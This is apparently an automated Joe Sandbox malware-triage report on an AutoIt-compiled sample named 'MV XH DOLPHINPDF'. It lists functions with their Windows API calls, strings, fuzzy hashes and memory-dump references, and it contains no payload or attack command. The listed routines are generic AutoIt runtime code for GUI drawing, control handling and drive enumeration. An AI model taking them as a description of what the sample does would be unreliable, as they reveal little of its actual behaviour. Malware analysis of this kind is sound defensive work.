Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 0f0cb73361888bb072250a9a3f80c96a52105f2f0ac57bbe26cd8b2d720eee8a
Instruction ID: 5421c7a2e43e91ee1ac789b8b9e0a583acd647dd0d1997f793c57964f528df17
Opcode Fuzzy Hash: 0f0cb73361888bb072250a9a3f80c96a52105f2f0ac57bbe26cd8b2d720eee8a
Instruction Fuzzy Hash: 8C028E75900109EFDB24DF68CC89EAE7BB9FB49310F14816CF949AB6A1CB709D41CB61

Function 001037F3 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0010F910), ref: 001038AF
IsWindowVisible.USER32(?), ref: 001038D3

Strings

UNCHECK, xrefs: 00103B0B
GETCURRENTSELECTION, xrefs: 00103A6B
ISENABLED, xrefs: 001038F3
DELSTRING, xrefs: 001039D1
SETCURRENTSELECTION, xrefs: 00103A3E
GETSELECTED, xrefs: 00103B2B
GETCURRENTLINE, xrefs: 00103B75
GETCURRENTCOL, xrefs: 00103BB0
TABLEFT, xrefs: 0010390F
SELECTSTRING, xrefs: 00103A8E
ISVISIBLE, xrefs: 001038BF
SHOWDROPDOWN, xrefs: 00103968
SENDCOMMANDID, xrefs: 00103C62
TABRIGHT, xrefs: 00103925
GETLINECOUNT, xrefs: 00103B4E
CURRENTTAB, xrefs: 00103945
ISCHECKED, xrefs: 00103AC1
HIDEDROPDOWN, xrefs: 00103988
EDITPASTE, xrefs: 00103BE7
GETLINE, xrefs: 00103C23
FINDSTRING, xrefs: 001039FE
ADDSTRING, xrefs: 0010399E
CHECK, xrefs: 00103AF5

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 1394819d192a1cf065e38ea720fc3ed290975268f904ec8ba80dc7b9dd178bdc
Instruction ID: 52e586dbbb5348994aced908e6675c1789eb3e47b04fc45a7f06ff423cba1c24
Opcode Fuzzy Hash: 1394819d192a1cf065e38ea720fc3ed290975268f904ec8ba80dc7b9dd178bdc
Instruction Fuzzy Hash: 08D190302043058BCB14FF50C591AEA7BA9AF94354F15445DB8D6AB3E3DB71EE0ACB91

Function 0010A849 Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0010A89F
GetSysColorBrush.USER32(0000000F), ref: 0010A8D0
GetSysColor.USER32(0000000F), ref: 0010A8DC
SetBkColor.GDI32(?,000000FF), ref: 0010A8F6
SelectObject.GDI32(?,?), ref: 0010A905
InflateRect.USER32(?,000000FF,000000FF), ref: 0010A930
GetSysColor.USER32(00000010), ref: 0010A938
CreateSolidBrush.GDI32(00000000), ref: 0010A93F
FrameRect.USER32(?,?,00000000), ref: 0010A94E
DeleteObject.GDI32(00000000), ref: 0010A955
InflateRect.USER32(?,000000FE,000000FE), ref: 0010A9A0
FillRect.USER32(?,?,?), ref: 0010A9D2
GetWindowLongW.USER32(?,000000F0), ref: 0010A9FD

Part of subcall function 0010AB60: GetSysColor.USER32(00000012), ref: 0010AB99
Part of subcall function 0010AB60: SetTextColor.GDI32(?,?), ref: 0010AB9D
Part of subcall function 0010AB60: GetSysColorBrush.USER32(0000000F), ref: 0010ABB3
Part of subcall function 0010AB60: GetSysColor.USER32(0000000F), ref: 0010ABBE
Part of subcall function 0010AB60: GetSysColor.USER32(00000011), ref: 0010ABDB
Part of subcall function 0010AB60: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0010ABE9
Part of subcall function 0010AB60: SelectObject.GDI32(?,00000000), ref: 0010ABFA
Part of subcall function 0010AB60: SetBkColor.GDI32(?,00000000), ref: 0010AC03
Part of subcall function 0010AB60: SelectObject.GDI32(?,?), ref: 0010AC10
Part of subcall function 0010AB60: InflateRect.USER32(?,000000FF,000000FF), ref: 0010AC2F
Part of subcall function 0010AB60: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0010AC46
Part of subcall function 0010AB60: GetWindowLongW.USER32(00000000,000000F0), ref: 0010AC5B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 061f8b2636676437344ed5a917436fad298259da3b6b18a201f7b5b28785efe7
Instruction ID: c587034cc75dbf23f81de3a665af766acbb606b23d60e3782f13b5fae3621bfc
Opcode Fuzzy Hash: 061f8b2636676437344ed5a917436fad298259da3b6b18a201f7b5b28785efe7
Instruction Fuzzy Hash: D8A19F72108301EFD7209F64DC09A6B7BA9FF89321F504A2DF9A2965E0D7B1D885CB52

Function 00082C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00082CA2
DeleteObject.GDI32(00000000), ref: 00082CE8
DeleteObject.GDI32(00000000), ref: 00082CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00082CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00082D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 000BC68B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 000BC6C4
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 000BCAED

Part of subcall function 00081B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00082036,?,00000000,?,?,?,?,000816CB,00000000,?), ref: 00081B9A

SendMessageW.USER32(?,00001053), ref: 000BCB2A
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 000BCB41
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 000BCB57
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 000BCB62

Strings

0, xrefs: 000BC981

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: c18504c233a545369445b22f449b74bfa8ce131bce9132365b2dedd3969d4358
Instruction ID: 54442d429be6f6a444875df127b4549e26157ac1d3ee099f211fe5555e887a59
Opcode Fuzzy Hash: c18504c233a545369445b22f449b74bfa8ce131bce9132365b2dedd3969d4358
Instruction Fuzzy Hash: B112AB30604211EFEB64DF24C889FA9BBE5BF05300F544569F886DB662CB71EC82CB91

Function 000F77BE Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 000F77F1
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 000F78B0
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 000F78EE
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 000F7900
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 000F7946
GetClientRect.USER32(00000000,?), ref: 000F7952
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 000F7996
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 000F79A5
GetStockObject.GDI32(00000011), ref: 000F79B5
SelectObject.GDI32(00000000,00000000), ref: 000F79B9
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 000F79C9
GetDeviceCaps.GDI32(00000000,0000005A), ref: 000F79D2
DeleteDC.GDI32(00000000), ref: 000F79DB
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 000F7A07
SendMessageW.USER32(00000030,00000000,00000001), ref: 000F7A1E
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 000F7A59
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 000F7A6D
SendMessageW.USER32(00000404,00000001,00000000), ref: 000F7A7E
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 000F7AAE
GetStockObject.GDI32(00000011), ref: 000F7AB9
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 000F7AC4
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 000F7ACE

Strings

AutoIt v3, xrefs: 000F793E
msctls_progress32, xrefs: 000F7A4F
static, xrefs: 000F7990, 000F7AA8
DISPLAY, xrefs: 000F799B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 58808d606b04853e3d1e3e7d7802582a7499f3d88263f21fd6bfe0e221b45040
Instruction ID: 2404f33840a919b4375d09d89d42ccc7405aff3863dc610c6ab2f359f49ac952
Opcode Fuzzy Hash: 58808d606b04853e3d1e3e7d7802582a7499f3d88263f21fd6bfe0e221b45040
Instruction Fuzzy Hash: 25A1A371A40209BFEB14DB64DC4AFBE7BB9EB45714F004118FA54A75E0CBB0AD41CB61

Function 000EAF7B Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 000EAF89
GetDriveTypeW.KERNEL32(?,0010FAC0,?,\\.\,0010F910), ref: 000EB066
SetErrorMode.KERNEL32(00000000,0010FAC0,?,\\.\,0010F910), ref: 000EB1C4

Strings

Fixed, xrefs: 000EB0AE
SAS, xrefs: 000EB170
\\.\, xrefs: 000EAFDB
RAMDisk, xrefs: 000EB090
PhysicalDrive, xrefs: 000EB012
Removable, xrefs: 000EB0B8
Virtual, xrefs: 000EB18C
MMC, xrefs: 000EB185
SSD, xrefs: 000EB0F1
CDROM, xrefs: 000EB09A
USB, xrefs: 000EB15B
Unknown, xrefs: 000EB086, 000EB12A
ATAPI, xrefs: 000EB138
FileBackedVirtual, xrefs: 000EB193
Network, xrefs: 000EB0A4
SCSI, xrefs: 000EB131
ATA, xrefs: 000EB13F
iSCSI, xrefs: 000EB169
SATA, xrefs: 000EB177
SSA, xrefs: 000EB14D
RAID, xrefs: 000EB162
1394, xrefs: 000EB146
Fibre, xrefs: 000EB154

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: e6126324c94fb9c2833c0d1b928da179feed6b4ae42e2081cff65075018f1fa3
Instruction ID: 5bf89c54bca74ac33ba2e32568383f16c900b3eb3f454e2333475d20783579d5
Opcode Fuzzy Hash: e6126324c94fb9c2833c0d1b928da179feed6b4ae42e2081cff65075018f1fa3
Instruction Fuzzy Hash: 5251B630680385EFCB24EB12C9E29BE77F0BF54761BA440A5E44AB7291C776AD41DB42

Function 00086A3C Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00086A91
__wcsnicmp.LIBCMT ref: 00086AA9
__wcsnicmp.LIBCMT ref: 00086AC1
__wcsnicmp.LIBCMT ref: 00086AD9
__wcsnicmp.LIBCMT ref: 00086AF1
__wcsnicmp.LIBCMT ref: 00086B09
__wcsnicmp.LIBCMT ref: 00086B21
__wcsnicmp.LIBCMT ref: 00086B35
__wcsnicmp.LIBCMT ref: 00086B76
__wcsnicmp.LIBCMT ref: 00086B8A
__wcsnicmp.LIBCMT ref: 00086B9E
__wcsnicmp.LIBCMT ref: 00086BB2

Strings

#include, xrefs: 00086B03
#pragma compile, xrefs: 00086A8B
#include-once, xrefs: 00086AEB
#notrayicon, xrefs: 00086AA3
#OnAutoItStartRegister, xrefs: 00086AD3
#cs, xrefs: 00086B2F, 00086B84
#requireadmin, xrefs: 00086ABB
#comments-start, xrefs: 00086B1B, 00086B70
Unterminated group of comments, xrefs: 000BE82C
Bad directive syntax error, xrefs: 000BE743
Cannot parse #include, xrefs: 000BE819
#comments-end, xrefs: 00086B98
#ce, xrefs: 00086BAC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 8aa4b2fce6bae92beafcd2546c18baa5a3fb51583b7d6fdd94cba0b5555eed6c
Instruction ID: 5752711f52977f7b74daa71f311b7450bd40d3665ca5b59d86757c1790f8dde9
Opcode Fuzzy Hash: 8aa4b2fce6bae92beafcd2546c18baa5a3fb51583b7d6fdd94cba0b5555eed6c
Instruction Fuzzy Hash: 00812871644255BBCB24BB60CC83FEE77A8BF26700F044025FD85AA1C7EB61DA91C796

Function 0010AB60 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0010AB99
SetTextColor.GDI32(?,?), ref: 0010AB9D
GetSysColorBrush.USER32(0000000F), ref: 0010ABB3
GetSysColor.USER32(0000000F), ref: 0010ABBE
CreateSolidBrush.GDI32(?), ref: 0010ABC3
GetSysColor.USER32(00000011), ref: 0010ABDB
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0010ABE9
SelectObject.GDI32(?,00000000), ref: 0010ABFA
SetBkColor.GDI32(?,00000000), ref: 0010AC03
SelectObject.GDI32(?,?), ref: 0010AC10
InflateRect.USER32(?,000000FF,000000FF), ref: 0010AC2F
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0010AC46
GetWindowLongW.USER32(00000000,000000F0), ref: 0010AC5B
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0010ACA7
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0010ACCE
InflateRect.USER32(?,000000FD,000000FD), ref: 0010ACEC
DrawFocusRect.USER32(?,?), ref: 0010ACF7
GetSysColor.USER32(00000011), ref: 0010AD05
SetTextColor.GDI32(?,00000000), ref: 0010AD0D
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0010AD21
SelectObject.GDI32(?,0010A869), ref: 0010AD38
DeleteObject.GDI32(?), ref: 0010AD43
SelectObject.GDI32(?,?), ref: 0010AD49
DeleteObject.GDI32(?), ref: 0010AD4E
SetTextColor.GDI32(?,?), ref: 0010AD54
SetBkColor.GDI32(?,?), ref: 0010AD5E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 192c33b0c85a10796cafce5f3ab3910a8311a419c6bf368ea205a0ab32ac97f9
Instruction ID: c6468a3270e16a49b1d1aed92774ceea7242fbf8e98fca147596a67dade8176e
Opcode Fuzzy Hash: 192c33b0c85a10796cafce5f3ab3910a8311a419c6bf368ea205a0ab32ac97f9
Instruction Fuzzy Hash: F5617D71900218EFDF219FA4DC49EAE7B79EF08320F118129F951AB6E1D7B19D81DB90

Function 00108C44 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00108D34
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00108D45
CharNextW.USER32(0000014E), ref: 00108D74
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00108DB5
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00108DCB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00108DDC
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00108DF9
SetWindowTextW.USER32(?,0000014E), ref: 00108E45
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00108E5B
SendMessageW.USER32(?,00001002,00000000,?), ref: 00108E8C
_memset.LIBCMT ref: 00108EB1
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00108EFA
_memset.LIBCMT ref: 00108F59
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00108F83
SendMessageW.USER32(?,00001074,?,00000001), ref: 00108FDB
SendMessageW.USER32(?,0000133D,?,?), ref: 00109088
InvalidateRect.USER32(?,00000000,00000001), ref: 001090AA
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 001090F4
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00109121
DrawMenuBar.USER32(?), ref: 00109130
SetWindowTextW.USER32(?,0000014E), ref: 00109158

Strings

0, xrefs: 001090C2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: a1afc8e323b3dcbb228ee45a74d0536fd11dec5381b8e87214dcb8279c0cdd76
Instruction ID: fe04bb16fab083e907ad0d6fad81c0eee1d78543eaf4ceafcc6bc6016eec9de9
Opcode Fuzzy Hash: a1afc8e323b3dcbb228ee45a74d0536fd11dec5381b8e87214dcb8279c0cdd76
Instruction Fuzzy Hash: DAE17170904219ABDF20DFA4CC85EEE7B79FF05724F108159F995AA1D1DBB08A82DF60

Function 00104B16 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00104C51
GetDesktopWindow.USER32 ref: 00104C66
GetWindowRect.USER32(00000000), ref: 00104C6D
GetWindowLongW.USER32(?,000000F0), ref: 00104CCF
DestroyWindow.USER32(?), ref: 00104CFB
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00104D24
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00104D42
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00104D68
SendMessageW.USER32(?,00000421,?,?), ref: 00104D7D
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00104D90
IsWindowVisible.USER32(?), ref: 00104DB0
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00104DCB
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00104DDF
GetWindowRect.USER32(?,?), ref: 00104DF7
MonitorFromPoint.USER32(?,?,00000002), ref: 00104E1D
GetMonitorInfoW.USER32(00000000,?), ref: 00104E37
CopyRect.USER32(?,?), ref: 00104E4E
SendMessageW.USER32(?,00000412,00000000), ref: 00104EB9

Strings

tooltips_class32, xrefs: 00104D1D
(, xrefs: 00104E2A
0, xrefs: 00104BFC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 2598eea7f1be1b480214eea1fb7008c2320721bf3a123c7383641c6b217b4440
Instruction ID: eea4abd3ad35157d28947c434c0665ca2d20b4312525a49933a7a725dfc48a3e
Opcode Fuzzy Hash: 2598eea7f1be1b480214eea1fb7008c2320721bf3a123c7383641c6b217b4440
Instruction Fuzzy Hash: 9EB16CB1604340AFDB14EF64C985B6ABBE4BF84310F04891CF5D99B2A1DBB1EC45CB95

Function 000E46D6 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 000E46E8
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 000E470E
_wcscpy.LIBCMT ref: 000E473C
_wcscmp.LIBCMT ref: 000E4747
_wcscat.LIBCMT ref: 000E475D
_wcsstr.LIBCMT ref: 000E4768
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 000E4784
_wcscat.LIBCMT ref: 000E47CD
_wcscat.LIBCMT ref: 000E47D4
_wcsncpy.LIBCMT ref: 000E47FF

Strings

\VarFileInfo\Translation, xrefs: 000E477C
DefaultLangCodepage, xrefs: 000E47E7
StringFileInfo\, xrefs: 000E4757
%u.%u.%u.%u, xrefs: 000E4862
04090000, xrefs: 000E47BA

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 7583a8cd780f656735689141753014020450a9fa0023fa7de3150a960e5e6adb
Instruction ID: 77abc0cdee91c12d6dd0caeb5477eb4fb8aafa22056ee5da938c7fd79882a534
Opcode Fuzzy Hash: 7583a8cd780f656735689141753014020450a9fa0023fa7de3150a960e5e6adb
Instruction Fuzzy Hash: 7C410772A04245BEDB20ABA58C47EFF77ACDF46710F00007AF944F6183EFB4991196A5

Function 000827D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 000828BC
GetSystemMetrics.USER32(00000007), ref: 000828C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 000828EF
GetSystemMetrics.USER32(00000008), ref: 000828F7
GetSystemMetrics.USER32(00000004), ref: 0008291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00082939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00082949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0008297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00082990
